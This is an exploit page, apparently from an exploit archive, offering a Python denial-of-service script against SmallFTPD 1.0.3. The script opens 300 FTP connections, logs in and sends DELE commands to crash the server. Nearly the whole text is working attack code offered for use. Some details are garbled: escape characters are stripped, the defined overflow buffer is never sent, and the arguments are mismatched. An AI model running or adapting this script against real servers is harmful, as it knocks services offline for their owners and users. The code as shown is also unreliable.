SmallFTPD version 1.0.3 DELE Command DoS

Download

 Exploit Code : 

# Exploit Title: SmallFTPD FTP Server DELE Command DoS
# Date: 5/13/2010
# Author: Jeremiah Talamantes
# Software Link: http://sourceforge.net/projects/smallftpd/
# Version: 1.0.3
# Tested on: Windows XP, SP2 (EN)
# CVE : N/A

#!/usr/bin/python
print "n#################################################################"
print "## RedTeam Security ##"
print "## SmallFTPD FTP Server DELE Command DoS ##"
print "## Version 1.0.3 ##"
print "## ##"
print "## Jeremiah Talamantes ##"
print "## labs@redteamsecure.com ##"
print "#################################################################
n"

import socket
import sys

# Define the exploit's usage
def Usage():
print ("Usage: scriptname.py n")
print ("nnCredit: Jeremiah Talamantes")
print ("RedTeam Security : www.redteamsecure.com/labsn")

# Buffer
buffer="AAAAA" * 20000

def exploit(hostname,username,password):
i=0
while i < 300:
i=i+1
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Error: unable to connect to host")
sys.exit(1)
r=sock.recv(1024)
print "[+] " + r + ": running iteration number: ",i
sock.send("USER " + username + "rn")
r=sock.recv(1024)
sock.send("PASS testrn")
r=sock.recv(1024)
sock.send("DELE " + password + "rn")
sock.close()

if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
exploit(hostname,username,password)
sys.exit(0)

# End